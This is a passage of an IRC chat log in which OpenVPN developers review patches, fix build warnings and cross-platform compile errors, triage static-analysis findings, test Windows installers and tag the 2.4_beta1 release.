:) 10:41 <@cron2> const char ifconfig_ipv6_remote = 10:41 <@cron2> print_in6_addr (tt->remote_ipv6, 0, &gc); 10:42 <@dazo> const char *ifconfig_ipv6_remote=print_in6_addr(tt->remote_ipv6, 10:42 <@dazo> 0, &gc); 10:42 <@cron2> doesn't look *that* bad :-) - but anyway, I think the "= NULL" is a bit silly if this is a single-purpose variable which only is there to be used once right away 10:42 <@dazo> (a bit too many spaces on the second line here on IRC) 10:43 <@cron2> you wouldn't want to break in the middle of print_in6_addr(), no - *that* is ugly indeed 10:43 <@dazo> The alternative would be: 10:43 <@dazo> const char *ifconfig_ipv6_remote = 10:43 <@dazo> print_in6_addr (tt->remote_ipv6, 0, &gc); 10:44 <@cron2> this looks like what I posted 6 lines up :) 10:44 <@dazo> it is better, but still looks odd to me ... then I found it nicer to do what I did in the patch 10:44 <@cron2> and to my personal taste(!), this is more clear than "declaration = NULL; blank line; assignment" 10:45 <@dazo> the = NULL was just keeping how it was already defined 10:45 <@cron2> but you were intending to clean this up, so that's a weak argument :) 10:46 <@dazo> http://imgur.com/a/kg2Fw 10:46 <@vpnHelper> Title: Imgur: The most awesome images on the Internet (at imgur.com) 10:47 <@dazo> well, always setting variables to a known state is considered to be good defensive coding style ;-) 10:47 <@cron2> setting variables to something and setting them again right next line is... overdoing it a bit :-) 10:47 <@cron2> since this really is personal taste - I like the imgur version :) 10:48 <@dazo> okay, I can fix those things on-the-fly if that's good enough for you 10:48 <@cron2> well, let me test compile on solaris 10:48 <@dazo> *that* would be a good check :) 10:49 <@cron2> error: patch failed: src/openvpn/tun.c:1502 10:49 <@cron2> error: src/openvpn/tun.c: patch does not apply 10:49 <@cron2> meh 10:49 <@dazo> !? 10:49 <@dazo> have things flipped around in tun.c lately? 10:50 <@cron2> hehe 10:50 <@cron2> -#ifndef WIN32 10:50 <@cron2> +#if !(defined(WIN32) || defined(TARGET_LINUX)) 10:50 <@dazo> dug 10:50 <@cron2> s/WIN32/_WIN32/ 10:50 <@dazo> duh! 10:50 <@cron2> Applying tun: Fix compiler warnings 10:52 <@cron2> it compiles :) - though something went wrong with "--version" 10:52 <@cron2> OpenVPN 2.PRODUCT_VERSION_MINORPRODUCT_VERSION_PATCH [git:tunfix/b151481ae0548cb8+] i386-pc-solaris2.11 [SSL (OpenSSL)] [LZO] [LZ4] [MH/PKTINFO] built on Nov 16 2016 10:52 <@dazo> huh!? ... okay, that can't be my patch :) 10:53 <@cron2> nah, that's something in version.m4->version.h using shell solaris breakage... 10:53 <@cron2> version.sh has this already 10:53 <@cron2> OPENVPN_PACKAGE_VERSION="2.PRODUCT_VERSION_MINORPRODUCT_VERSION_PATCH" 10:53 <@cron2> whatever 10:54 <@cron2> it builds, now running t_client 10:54 <@dazo> \o/ ... sf.net have fixed their issues! 10:54 <@cron2> good :) 10:54 * dazo just got a mail from them 10:56 <@cron2> fping/fping6 looks good (1, 1a, 1b passed already) - ACK, go for it 10:56 <@cron2> feeding kids now, back in ~2h 10:57 <@dazo> have fun! I'll apply and push 10:57 * dazo will head out for dinner after push as well 11:09 <@vpnHelper> RSS Update - gitrepo: tun: Fix compiler warnings <https://github.com/OpenVPN/openvpn/commit/7756043c01dd0b23252682f085f3d9a1f4b057de> 11:13 <@dazo> arg .... that WIN32 -> _WIN32 change .... 11:17 <@cron2> hrhr :) 11:19 <@dazo> time for food, before head-ache arrives :) 11:21 <@vpnHelper> RSS Update - gitrepo: file checks: Merge warn_if_group_others_accessible() into check_file_… <https://github.com/OpenVPN/openvpn/commit/05de0a6e8fb675e309d599a185e70a1c54b8e7e9> 11:35 <@cron2> daaaaazoooooo... 11:35 <@cron2> + const char *ifconfig_ipv6_remote = 11:35 <@cron2> + ifconfig_ipv6_remote = print_in6_addr (tt->remote_ipv6, 0, &gc); 11:35 <@cron2> no, this is not what you had in that imgur window... 11:52 <@cron2> options.c: In function 'check_file_access': 11:52 <@cron2> options.c:2743:22: error: 'S_IRWXG' undeclared (first use in this function) 11:52 <@cron2> if (st.st_mode & (S_IRWXG|S_IRWXO)) 11:52 <@cron2> hrm... 12:22 <@dazo> which platform? 12:31 <@cron2> windows, of course 12:31 <@cron2> what people told you... 12:32 <@dazo> okay, I'll look into that 12:35 <@cron2> and the other one is tun v3, which was botched 12:38 <@dazo> actually, it was imgur image which was botched ... imgur indent had the wrong 8 spaces tab, not 2 which is used ... but regardless, the indenting is wrong in most of that file already (some places it is 3 instead of 2 as well) 12:38 <@dazo> and all this will be fixed in December when we re-style the complete code base 12:38 <@cron2> your code has *two* assignments now, in imgur it only had *one* 12:38 <@cron2> please get a coffee 12:39 <@dazo> wtf!?! 12:39 <@cron2> yep 12:39 <@cron2> (which is why the line is so long all of a sudden...) 12:41 <@cron2> syzzer sent a patch for the windows breakage - shall I just merge & push? 12:42 <@dazo> yeah, do that ... I'll send a fix for the tun stuff now 12:43 <@cron2> oops, Selva, not syzzer,. but anyway :) 12:46 <@cron2> let's see if my pushing works... sf, sf, github ok... gitlab is slllowww... 12:47 <@dazo> hmmm ... wouldn't it be better if we fixed the windows stuff in platform.h? 12:47 <@vpnHelper> RSS Update - gitrepo: Unbreak windows build <https://github.com/OpenVPN/openvpn/commit/7aea4901034c436a539a997b6a504c009496f6f5> 12:47 <@cron2> I think it's reasonable to make clear that this check is not executed on windows, not "hide it by defining S_IXRWG 0" 12:49 <@cron2> now, we could do a platform_check_og_rwx() which would expand to "will the windows ACLs permit <whatever>?" - in that case, platform.h/platform.c would be the right approach 12:53 <@dazo> so plaisthos ACKed tls-crypt 2/5 ... I'll have a look at the unit test (5/5) now and then we can probably pull those in too 12:53 <@vpnHelper> RSS Update - gitrepo: tun: Fix weird commit error causing a double assignment <https://github.com/OpenVPN/openvpn/commit/1de37f3b194e56ff3245b9e6cf22eaff54ca3efe> 12:54 <@cron2> the unit tests are ok - I can ACK them, just need to have a test run beforehand 12:54 <@dazo> cron2: did I ask if you could look at this one? https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg13070.html 12:54 <@cron2> (they do not modify existing code, so they are not going to break anything - just adding tests) 12:54 <@vpnHelper> Title: [Openvpn-devel] [PATCH] options: Remove --tls-remote (at www.mail-archive.com) 12:54 <@cron2> I thought syzzer was looking into that one? 12:55 <@cron2> anyway, I'll do the tls-crypt 2/5 and 5/5 now, it's going to be a long night anyway (datacenter works from 22:00 to 02:00, and I'm on standby in case something breaks in surprising ways) 12:56 <@dazo> syzzer was going to look at the patch Selva just fixed 12:57 <@cron2> ah, indeed 12:57 <@cron2> anyway, I'll look later 12:59 <@dazo> thx ... I'll give a shot at the poor man's NCP .... and then I think we're quite set for the 2.4_beta1 12:59 <@cron2> leave that one to syzzer :-) 13:00 <@cron2> (it doesn't need to go into beta1, as it's fairly trivial - syzzer wanted to look into that to see if he can come up with something less clumsy) 13:01 <@dazo> alright 13:07 <@dazo> of the list of patches we discussed earlier today, I think 1474118415-14666-1-git-send-email-davids@openvpn.net (man page update for auth-token, low prio) is the only thing missing - in addition to poor man's NCP 14:02 <@cron2> how the hell do I *run* our unit tests? 14:02 * cron2 has done "git submodule init" and "git submodule update", vendor/cmocka/ is filled with stuff, but "make check" is still only doing the normal stuff 14:03 <@cron2> ah... maybe... cmake 14:04 <@cron2> aaah! 14:10 <@vpnHelper> RSS Update - gitrepo: Add --tls-crypt unit tests <https://github.com/OpenVPN/openvpn/commit/3b185161de1254af746494007b7e81d17f632d4b> || Add control channel encryption (--tls-crypt) <https://github.com/OpenVPN/openvpn/commit/c6e24fa3e16c32f9b427e360fd07102f613aa5c6> 14:29 <@cron2> ecrist: are you around? 14:37 <@dazo> if (( *((long *)&buf2[0x14]) & 0x00800000) == 0x00800000) .... from ntlm.c .... yet another strict aliasing issue 14:38 <@cron2> NTLM patches are in the queue... we'll not do style or aliasing fixes before the basic NTLM stuff is working right again 14:38 <@vpnHelper> RSS Update - gitrepo: Remove unused variable in argv_printf_arglist() <https://github.com/OpenVPN/openvpn/commit/95bcf135f5aff0a3dc3f9208628fd18b8f2ee326> || options: Remove --tls-remote <https://github.com/OpenVPN/openvpn/commit/10ce637066f44e8ad9f4af000b8d0c2a4012236d> 14:38 <@dazo> I must have missed that mail 14:38 <@cron2> I think that's pending since Delft... syzzer reviewed, asked for fixes, reators went into hiding 14:39 <@dazo> last reference in my mailbox is from November 2015 .... 14:39 <@dazo> where we ask for an updated patch-set 14:41 <@cron2> that's it, yes 14:41 <@dazo> okay, I see it's a sophos.com address .... perhaps d12fk can help get some movement to that one now? 14:41 <@cron2> but it does not make sense to start fixing ntlm.c for aliasing things right now, when a larger overhaul *should* be coming... if reators isn't sending anything (d12fk should poke) I'll take that - I can set up a server to test NTLM against, did that for a customer a while ago 14:42 <@cron2> the author is here on IRC usually, but very quiet (reators) 14:43 <@dazo> in addition to that, there's plenty of "differ in signedness [-Wpointer-sign]" issues as well, mostly related to gen_md4_hash/gen_hmac_md4/cipher_des_encrypt_ecb 14:44 <@cron2> -Wno-pointer-sign helps with these :) 14:44 <@dazo> killing those warnings, which do have some merits ... then we will have a very clean build with C99 14:45 <@cron2> I consider warnings about "unsigned char *" vs. "signed char *" maximally silly 14:45 <@cron2> it's a pointer to a chunk of memory 14:45 <@dazo> the only exception is one which will require far more work, without so much benefits ... 14:45 <@dazo> route.c: In function ‘delete_route’: 14:45 <@dazo> route.c:1937:15: warning: variable ‘gateway’ set but not used [-Wunused-but-set-variable] 14:45 <@cron2> who reads an 8-bit-unit from there should be aware of what he expects there... but cluttering all the code with pointer-signedness-casts is not making it cleaner or easier to read 14:46 <@cron2> this is a "some platforms only" warning... 14:46 <@dazo> yes 14:46 <@dazo> well, the function API should be better aligned in regards to have proper signednes 14:47 < danhunsaker> cron2: What even *is* a `signed char`, `*` or otherwise? 14:48 <@cron2> dazo: that's the crux of the problem - if part of the standard C api wants a "char *" and other parts expect an "unsigned char *", there is no way to get nice code with no warnings - except for -Wno-pointer-sign 14:49 <@dazo> well, basically all crypto functions in our code use unsigned variables 14:49 <@dazo> and where it is complaining is when md4/md5/des-ecb operations happens 14:50 <@dazo> and the majority of issues is related to variables declared in the ntlm scope .... so it is kind of sloppiness not using the proper signedness ... which probably should have been caught when we applied the SSL modularisation/polarssl patches 14:51 <@cron2> unsigned is the right thing to do for crypto ops ("octet")... and yeah, ntlm.c needs major surgery. But that is really "bugfix" category... it needs a reanimation 14:52 <@dazo> agreed 14:52 <@dazo> all I'm saying, once we actually do fix ntlm.c ... we can fix those issues too 14:52 <@cron2> so - need to ignore you for the next few hours, datacenter electricity works coming up... :) 14:52 <@dazo> exciting! :) 15:40 <@dazo> Let's have a quick chat tomorrow and see if we're fine with the current state for a 2.4_beta1 release 15:41 <@dazo> cron2, d12fk, ecrist, mattock, plaisthos, syzzer ^^^ 15:41 <@dazo> all git trees should be up-to-date too 16:07 <@syzzer> dazo: this ntlm stuff is extremely ugly, but with reators functionality fixes and my type fixes this should be a lot better 16:07 * syzzer just arrived home from doing home improvements at a friends place 16:08 <@syzzer> this windows build error is weird, I actually *did* a cross compile to check it :/ 16:08 <@syzzer> must have somehow screwed up, sorry :( 16:09 <@dazo> syzzer: could be you use a mingw toolkit which actually ships those macros 16:09 * dazo puts getting mingw installed locally on his todo list 16:10 * dazo decides to call it a day 16:16 <@syzzer> good night :) 16:19 <@cron2> dazo: ack 16:26 * syzzer kicks off a coverity scan to see if we introduced anything horrible right before 2.4beta1 16:27 <@cron2> good idea 16:27 <@cron2> it should just find "closed" thigns 16:38 <@syzzer> 3 new defects, all in crypto code. hmm. 16:53 <@cron2> ouch 16:54 <@cron2> well, the 16:54 <@cron2> >>> CID 1394375: Incorrect expression (ASSERT_SIDE_EFFECT) 16:54 <@cron2> is a false positive 16:54 <@cron2> our ASSERT() are always compiled-in 16:55 <@syzzer> indeed, already marked as such 16:56 <@syzzer> the 'missing return value check' in ssl.c is also harmless (but not up to par) 16:56 <@syzzer> looking at the code again I'm wondering about the buffer sizes again though... 16:56 <@syzzer> will have to look into that further later, not enough brains now 17:00 <@syzzer> and the last one isn't actually new... 17:02 <@syzzer> in any case, nothing that would stop beta1 :) 17:02 <@syzzer> time to take a shower and head to bed. enjoy the electricity games! 17:11 <@cron2> yeah 17:11 <@cron2> fun... 17:11 <@cron2> "why is monitoring exploding?" 17:11 <@cron2> oh... "the monitoring server has a single ethernet uplink connected to a switch with a single power feed" 18:12 < slypknot> I was trying to openvpnbuild : ./build-snaphot everything work until 18:13 < slypknot> libtool: error: Could not determine the host path corresponding to 18:13 < slypknot> libtool: error: '/home/dik/openvpn-build/windows-nsis/tmp/build-i686/lzo-2.09/src/.libs' 18:13 < slypknot> I checked and the path is valid ana 18:14 < slypknot> and* it looksto me like all the right .o& .dll files are present 18:15 < slypknot> normally I would search google or something 18:15 < slypknot> but the path is valid 18:15 * slypknot stumped 18:19 < slypknot> permissions are all correct .. 18:22 < slypknot> pasting log .. soon 18:22 < slypknot> (not here) 18:41 < slypknot> https://dpaste.de/xDMv 18:41 < slypknot> ^^ full log and folder verify 18:49 < slypknot> generic build works fine 18:50 < slypknot> archlinux ^^ testing on debian now 19:09 < slypknot> debian works .. the same errors are in the log .. but i guess it is archlinux ! 20:02 < slypknot> Now running: 20:02 < slypknot> Thu Nov 17 01:42:42 2016 us=828814 OpenVPN 2.4_alpha2 x86_64-w64-mingw32 [SSL (OpenSSL)] [LZO] [LZ4] [PKCS11] [AEAD] built on Nov 17 2016 20:02 < slypknot> Thu Nov 17 01:42:42 2016 us=828814 Windows version 6.2 (Windows 8 or greater) 64bit 20:02 < slypknot> Thu Nov 17 01:42:42 2016 us=828814 library versions: OpenSSL 1.0.2i 22 Sep 2016, LZO 2.09 20:03 < slypknot> small time server 20:24 < slypknot> hmm .. must test LZ4 --- Day changed Thu Nov 17 2016 02:01 <@cron2> LZ4 has been most unspectacular so far - "it always just works" :) 02:12 <@cron2> iow - off to school now, parent-teacher-talk about $kid[0]... - bbl in ~2hrs 02:41 <@mattock> so we're almost there for beta1... 02:44 <@mattock> it seems I'll be running tons Windows installer tests today: the combined installers from chipitsine and exit-event v2 openvpnserv2 02:54 <@syzzer> I think the main repo is ready for a beta1 :) 02:55 <@syzzer> well, it needs version changes, tagging, etc, but I mean code-wise, I think we're good to go 03:09 <@mattock> great! 03:11 <@mattock> I'm just building a combined installer with exit-event v2 openvpnserv2, so if we can do really quick testing on a few Windows versions (32-bit and 64-bit), then that stuff could also probably go to the first beta1 installer 03:11 <@mattock> I can test Windows Server 2012r2 64-bit and Windows 7 <something> 64-bit 03:11 <@mattock> cron2 has 32-bit Windows 7 at least 03:29 <@syzzer> I have a w8.1 64-bit VM somewhere 03:29 <@syzzer> but I guess that's the same as2012r2 ? 03:31 <@mattock> roughly I guess 03:55 <@cron2> indeed, I can test win7 32 03:58 <@cron2> so - changing version.m4, ChangeLog, and tagging repo now? 03:59 * cron2 waits for dazo to chime in 04:00 <@dazo> Okay, so Im' here :) 04:02 <@cron2> dazo: so, what do you think wrt 2.4_beta1? 04:03 <@dazo> I think we're in pretty good shape 04:03 * dazo checks his own logs right now 04:03 <@cron2> (as a side note: if we have the meetings on Wednesday now, we should move the timeline to "Thursday") 04:03 <@dazo> yeah :) 04:03 <@syzzer> ack 04:04 <@cron2> dazo: who does version.m4, ChangeLog, tagging? I can, but if you want the honour, I do not have to :) 04:04 * cron2 will do the bragging on Google+ 04:04 <@dazo> I can do that, to refresh those skills :) 04:04 <@cron2> go for it, then ;-) 04:04 <@dazo> OpenVPN 2.4_alpha2 [git:master/95bcf135f5aff0a3] x86_64-unknown-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [MH/PKTINFO] [AEAD] built on Nov 16 2016 04:04 <@cron2> (as a side note: is there a way to cross-sing a tag?) 04:05 <@dazo> that's what I'm running right now .... so things seems to work :-P 04:05 <@dazo> (this irc chat goes over that link) 04:05 <@cron2> bleeding edge! 04:05 * cron2 is not using this newfangled stuff, but our buildbots are quite happy 04:06 <@dazo> syzzer: did you have a chance to look at the ssl buffer stuff you noticed late yesterday? 04:06 <@dazo> <syzzer> the 'missing return value check' in ssl.c is also harmless (but not up to par) 04:06 <@dazo> <syzzer> looking at the code again I'm wondering about the buffer sizes again though... 04:07 * cron2 runs the server side tests for good measure (~30 minutes) 04:07 <@dazo> ahhh ... 04:07 <@dazo> <syzzer> in any case, nothing that would stop beta1 :) 04:07 <@dazo> okay, that's good enough for me 04:07 <@dazo> I'll hold for your server tests, cron2 04:07 <@dazo> hold the push, I mean 04:07 <@cron2> oh, today is iproute2 day :) 04:07 <@dazo> :) 04:08 <@cron2> (the server test is a cronjob that rebuilds the reference server once a day, and then fires off t_client tests from a 2.2, 2.3 and two master clients - and depending on the day of the week, it will build openssl, mbedtls, or iproute2 builds...) 04:08 <@dazo> my current build uses net-tools/route ... so that's tested as well ... I swap between net-tools and iproute2 on my laptop 04:08 <@dazo> hehehe ... cool 04:09 <@cron2> so, worst case it takes a week to find a particular corner case :) - but eventually it will 04:11 <@cron2> t_client run OK (fbsd74, 22)! 04:11 <@cron2> Test sets succeded: 1 2 3 4 5 8 9. 04:11 <@cron2> Test sets failed: none. 04:15 <@dazo> cron2: that's part of the server test? 04:17 <@cron2> yep, that's the "fire off a 2.2 client test with t_client against the server we just built" 04:17 <@cron2> t_client run OK (fbsd74, 23)! 04:17 <@cron2> Test sets succeded: 1 1a 2 2b 3 4 5 8 9. 04:17 <@cron2> Test sets failed: none. 04:17 <@dazo> ahh, great! 04:17 <@dazo> now I understood the 22 remark 04:18 <@cron2> 2.2 is not having that many tests as many things just do not work yet (on FreeBSD), like "--dev tun3" with a named tun if... but tun, tap, p2mp, p2p, tcp/udp is there 04:20 <@dazo> *grmbl* ... we have both iso-latin-1 and utf-8 encoding in our ChangeLog file :/ 04:21 <@cron2> t_client run OK (fbsd74, master)! 04:21 <@cron2> Test sets succeded: 1 1a 2 2a 2b 3 4 5 8 9. 04:21 <@cron2> Test sets failed: none. 04:22 <@dazo> I'll convert it to utf-8 before adding our new ChangeLog entries ... and just have it as a separate commit 04:27 <@mattock> here's a 32/64-bit combined installer with exit-event v2 openvpnserv2: https://build.openvpn.net/downloads/snapshots/openvpn-install-2.4_alpha2-I601.exe 04:27 <@mattock> I'm testing it on win7 64-bit now, and it looks good 04:27 <@cron2> whee! 04:27 <@dazo> mattock: ready to roll 2.4_beta1? 04:27 <@cron2> t_client run OK (fbsd74, master-polar)! 04:27 <@cron2> Test sets succeded: 1 1a 2 2a 2b 3 4 5 8 9. 04:27 <@cron2> Test sets failed: none. 04:28 <@cron2> dazo: from my side, all I can test on unix systems is good - so wait for mattock's win7/64 smoke test and if that passes, tag&push 04:28 <@mattock> there is one hidden bug in the combined installer code (an esoteric issue I had to fix some years ago), so it's not "ready" 04:28 <@cron2> (if win7/32 turns out to not work, it won't be an "openvpn.exe" thing, but installer/gui/service, so that's to be dealt outside openvpn.git) 04:28 <@mattock> we should probably consider postponing publishing of combined installer + exit-event openvpnserv2 until rc1 04:29 <@mattock> both need to tested properly first imho 04:29 <@cron2> so what's the hidden bug? 04:29 <@mattock> chipitsine remove the "InstallDir" line, which is fine, except that silent installs to non-standard directories will fail 04:29 <@dazo> how do you know there's a bug if it's hidden!? :-P 04:29 <@mattock> that's all in his PR 04:29 <@mattock> "non-obvious" I would say 04:30 <@mattock> if I had not fixed that earlier, I would not have had any clue about it 04:30 <@dazo> :) 04:30 <@mattock> as far as 2.4_beta1 (without combined installer and exit-event openvpnserv2): yes, I'm ready 04:31 <@mattock> there are plenty of small fixes/improvements to openvpn-gui which could also go into rc1 04:31 <@dazo> mattock: do you have some tests your want to run before I'll commit, tag and push the beta1 release? 04:31 <@mattock> can you provide me with a tar.gz with version set to 2.4_beta1 first? 04:31 <@dazo> openvpn-gui is not directly related to the tagging I'm doing now, so that can still hit beta1 if you want 04:31 <@mattock> I can then run it through my windows tests 04:31 <@dazo> sure, I'll wrap up something for you ... just a sec 04:31 <@mattock> the tree is not tagged yet, is it? 04:33 <@mattock> and for cron2: if you can, please test the above combined installer and see that it puts all the files into the correct directory (c:\program files\openvpn) on 32-bit windows 7 04:33 <@dazo> mattock: not yet 04:33 <@mattock> cron2: and also test that OpenVPNService (openvpnserv2) can launch connections properly 04:33 <@dazo> mattock: I've just prepared the updated ChangeLog + version.m4 change ... doing a 'make distcheck' which gives the tarball on success 04:33 <@mattock> the executable should support both 32-bit and 64-bit OS, but I have not tested it 04:33 <@mattock> dazo: great! 04:34 <@mattock> actually, could you produce all the dist packages while you're at it? 04:34 <@mattock> xz, zip, gz 04:34 <@mattock> if the only thing remaining is the tag, then I can just use those packages as-is for 2.4_beta1 04:34 <@mattock> remaining = missing 04:35 <@dazo> sure! 04:35 <@dazo> so we actually need to ship zip files? Or is that for the windows users? 04:35 <@dazo> (and doesn't modern Windows' support .gz out-of-the box?) 04:37 <@cron2> no tar.gz on windows (unless 7zip is installed) 04:37 <@mattock> yes, we ship zip files right now 04:37 <@mattock> for windows 04:38 <@dazo> okay, fair enough 04:38 <@cron2> booting real hardware for windows feels so 90ish 04:38 <@dazo> lol 04:39 <@dazo> windows best served virtual? 04:40 <@cron2> all my "linux workplaces" (desktop, laptop, desktop @customer) have win7 and win10 VMs to use for "I need to do something with that stuff now" 04:40 <@cron2> *this* machine is booted every few months because it has the nvidia graphics and can play games :) 04:40 <@cron2> most likely it will need to install updates for the next few hours... 04:45 <@mattock> dazo: any success with the dist packages? I'd like to start the installer build before lunch, that is, "soon" :) 04:46 <@dazo> mattock: just completed 04:46 <@dazo> me wraps up the files now 04:46 <@mattock> great! 04:52 <@cron2> the installer "license agreement" pane shows 04:52 <@cron2> Copyright (C) 2002-2010 OpenVPN Tech... 04:52 <@mattock> ok, that should be fixed 04:53 <@cron2> instgalling to "\program files\openvpn" 04:53 <@dazo> cron2: when we do the style reformatting, we can do a complete copyright check-up as well .... I believe we might even have a COPYING file with the wrong FSF address 04:54 <@cron2> dazo: all well, but that won't catch the *Installer* which feeds from a different repo :) 04:54 <@dazo> yeah, that's right ... just say'n ;-) 04:54 <@dazo> mattock: saw my PM? 04:56 <@cron2> ewwww 04:56 <@cron2> GUI crashed on me 04:56 <@dazo> eek 04:57 <@cron2> mattock: have you merged Selva's fix for that already? I've ACKed it 04:57 <@cron2> it's a win7 function prototype / calling convention mishap, and only hits if the iservice is used *and* 32bit 04:58 <@mattock> cron2: which fix? 04:58 <@mattock> the openvpn code in the combined installer is alph2 04:58 <@mattock> alpha2 04:58 <@cron2> the "crashes on 32bit windows fix" - it's a GUI problem, not openvpn.exe 04:58 <@mattock> yes, that one 04:58 <@mattock> I just updated the openvpn-gui-11.tar.gz package on build.openvpn.net 04:59 <@mattock> and that tar.gz has "Add missing WINAPI in the definition of HandleServiceIO" 04:59 <@mattock> so beta1 will have that fix 04:59 <@cron2> is that what is included in that installer? 04:59 <@mattock> no, not in that installer 04:59 <@mattock> so I will just produce "traditional" 32-bit and 64-bit installers for beta1 04:59 <@cron2> in that case, don't give it to me for testing on 32bit, if you know it will crash... :-) 05:00 <@mattock> if I _remember_ it will crash :P 05:00 <@mattock> plus, you can test cmd.exe or openvpnserv2 05:00 <@mattock> basically the thing to test was that the installer places the installed files to correct directory 05:00 <@mattock> and that it does not bail out or do anything stupid 05:00 <@cron2> you should have told me :-) - that part seems to work 05:01 <@mattock> I did say that 05:01 <@mattock> see above 05:01 <@mattock> :) 05:01 <@cron2> this machine doesn't have any useful .ovpn configs on it (old stuff with broken certificates...) but it behaves like "it should work" 05:01 <@mattock> ok, good enough for now 05:02 <@mattock> we should run the full t_client test suite on Windows before rc1, though 05:07 * cron2 installs gvim.exe... I can't work on this pile of shit 05:10 <@mattock> notepad++ is pretty good 05:10 <@mattock> ok I have to head for lunch now 05:13 <@dazo> mattock: did you fetch the tar balls I provided? 05:19 <@cron2> so, after I have fixed my firewall config and the SOCKS proxy server config, my windows tests now actually succeed :-) 05:20 <@cron2> (without iservice) 05:22 <@cron2> openvpnserv2 also "does things" 05:30 <@cron2> dazo: so what's holding up the push? waiting for tar ball verification? 05:46 <@dazo> cron2: yeah ... that mattock's win-build on the tarball doesn't explode 05:46 <@dazo> I'm all set for the push 06:17 * cron2 searching for ecrist... 07:05 <@mattock> cron2, dazo: I will produce windows installers now, then run the testsuite and then I think we're good to go 07:07 <@dazo> mattock: great! how long time do you expect this to take? 07:07 * dazo wonders if he should wait or go out for an early dinner 07:07 <@mattock> built probably takes 15 mins, and testing another 07:07 <@mattock> <1 hour I think 07:07 <@mattock> build just started 07:08 <@dazo> alright, I'll wait then 07:09 < slypknot> I can test on w10 server + client 07:11 <@mattock> slypknot: excellent! 07:11 <@mattock> I will send links to installers soon 07:12 <@mattock> first installer built, second coming up 07:17 <@ecrist> cron2: ? 07:18 <@cron2> ecrist: found my answer :-) - I was wondering why my 10.3 installs refused to install the openvpn-201643 pkg, while my 10.1s all did - /etc/pkg/FreeBSD.conf, that was changed to "quarterly" for 10.*2*R - and I never installed 10.2, so I missed these release notes 07:19 <@cron2> short form: all fine, thanks :) 07:19 <@mattock> ecrist: I have a PR for easy-rsa 07:19 <@cron2> ecrist: but you might want to push a new snapshot to openvpn-devel on monday... 07:19 <@mattock> some fixes to the tar.gz / zip creation which I noticed when I was doing the debian packaging for easy-rsa 07:19 <@ecrist> cron2: I can do that, sure. 07:19 <@ecrist> mattock: neat - did you fix my windows packaging woes, as well? 07:20 <@ecrist> that's also on my list 07:20 < slypknot> ecrist: looong list ;) 07:21 <@mattock> https://build.openvpn.net/downloads/releases/openvpn-install-2.4_beta1-I601-i686.exe 07:21 <@mattock> https://build.openvpn.net/downloads/releases/openvpn-install-2.4_beta1-I601-x86_64.exe 07:21 <@mattock> slypknot: ^^^ if you want to test 07:22 <@mattock> ecrist: unfortunately Windows might be broken still, I just fixed the immediate problems with the build-dist.sh (or what was it) 07:22 <@ecrist> ok 07:23 <@mattock> dazo: powershell tests running now 07:23 <@mattock> fingers crossed :) 07:24 <@cron2> mattock: these have the 32bit fix? 07:24 <@mattock> yes, the gui is the latest one from Git "master" 07:25 <@cron2> ok... installing windows updates, rebooting, then testing 07:25 <@mattock> testing that would still be good idea 07:25 <@mattock> so far all powershells tests have shown green 07:27 < slypknot> how the eff do m$ manage to get away with this crap ! 07:29 < slypknot> just d'ld new installer and normally it is blocked by "smart-screen " .. not this time .. 07:30 <@mattock> maybe the installer is smart enough to avoid smart screen? :P 07:31 <@mattock> anyways, I get ipv6 ping failures to fd00:abcd:194:0::1, but that is probably just because exit-event fix is not in 07:31 <@mattock> so "natural" or "normal" or "expected" 07:32 <@dazo> mattock: so how is the confidence in openvpn core? is 2.4_beta1 ready to be unleashed? 07:33 <@cron2> gui works for me with iservice in win7/32bit 07:33 <@cron2> go! 07:33 <@mattock> well, given that the IPv6 failures are a known issue, I'd say so 07:34 <@mattock> all IPv4 tests have succeeded, and even IPv6 tests (until a connection is unable to add a IPv6 route, after which failures start) 07:34 <@dazo> alright! I'll do the push 07:34 <@mattock> great! 07:36 <@mattock> pushing release files to the fileservers 07:36 <@cron2> yee-ha! 07:38 <@dazo> cron2: Just a git remark ... when we're releasing 2.4.0 ... I think we should abandon openvpn-testing.git .... then we have only openvpn.git with master+release/* on sf.net, github and gitlab 07:38 <@vpnHelper> RSS Update - gitrepo: Preparing for release v2.4_beta1 (ChangeLog, version.m4) <https://github.com/OpenVPN/openvpn/commit/8a1f5354d03b034537f5c40a2e2371c1a9140218> 07:38 * dazo pushes tags now 07:39 <@cron2> dazo: ok. the dual github repos are confusing indeed, and no longer needed 07:39 <@dazo> dual sf.net I believe you meant :) 07:39 <@cron2> * [new tag] v2.4_beta1 -> v2.4_beta1 07:39 <@cron2> yeah 07:39 <@dazo> \o/ 07:40 <@cron2> git*lab* is quite slow for me - sometimes it plain works, and sometimes it just takes aaaages and then errors out 07:40 < slypknot> mattock: as far as I can tell this new installer is fine IPv6+4 multiple clients using both protos (including wxp) connected to my irc 07:41 < slypknot> plus server is running one server + one client 07:41 <@dazo> cron2: yeah, I've noticed that lately as well .... until recently it was at least as fast as github 07:42 <@dazo> cron2: I wonder if it is related to this ... https://about.gitlab.com/2016/11/09/gitlab-8-dot-13-dot-5-released/ :) 07:42 <@vpnHelper> Title: GitLab 8.13.5, 8.12.9, and 8.11.11 Released | GitLab (at about.gitlab.com) 07:42 <@dazo> (perhaps some odd bugs added) 07:44 < slypknot> i still get link-mtu / cyper / auth used inconsistently (--ncp ?) but the connection work , i'll have a closer look but probably nothing 07:46 <@cron2> bragging on g+ 07:53 < slypknot> please *don't* kick off buildbot for a while 07:53 <@cron2> lol 07:54 <@cron2> mattock: you really need to teach your windows buildbot to "just use whatever directory came out of the tarball" 07:54 <@cron2> every time we change version.m4, it fails 07:54 <@cron2> cd: can't cd to /home/samuli/buildtest/openvpn-build/windows-nsis/tmp/build-i686/openvpn-2.4_alpah2 08:01 <@mattock> well yes indeed 08:01 <@mattock> 2.3_git was the right one so long that there was no pressure 08:02 <@mattock> although that actually is a change to openvpn-build, not to Windows buildslave per se 08:03 <@mattock> fixed 08:03 <@mattock> (the version number, not the problem) 08:04 <@mattock> debian packages building, updating changelogs on trac 08:10 <@dazo> mattock: 08:10 <@mattock> updated openvpn-build with new version numbers (e.g. build-snapshot has hardcoded openvpn version in it) 08:10 <@mattock> I'll merge the PR that fixes this after Travis has completed 08:10 <@dazo> mattock: tar tzf $targz | head -n1 ... that will give the directory name, guaranteed 08:11 <@mattock> I will create a task to uncrappify openvpn-build in this regard 08:11 <@cron2> dazo: "cd openvpn*" will also nicely work :) 08:12 <@dazo> cron2: ahh! I've never ever thought about that approach ... but yeah, I can see that working too in shell ... dunno how far down the python part of buildbot goes though 08:14 <@mattock> yes, Alon uses 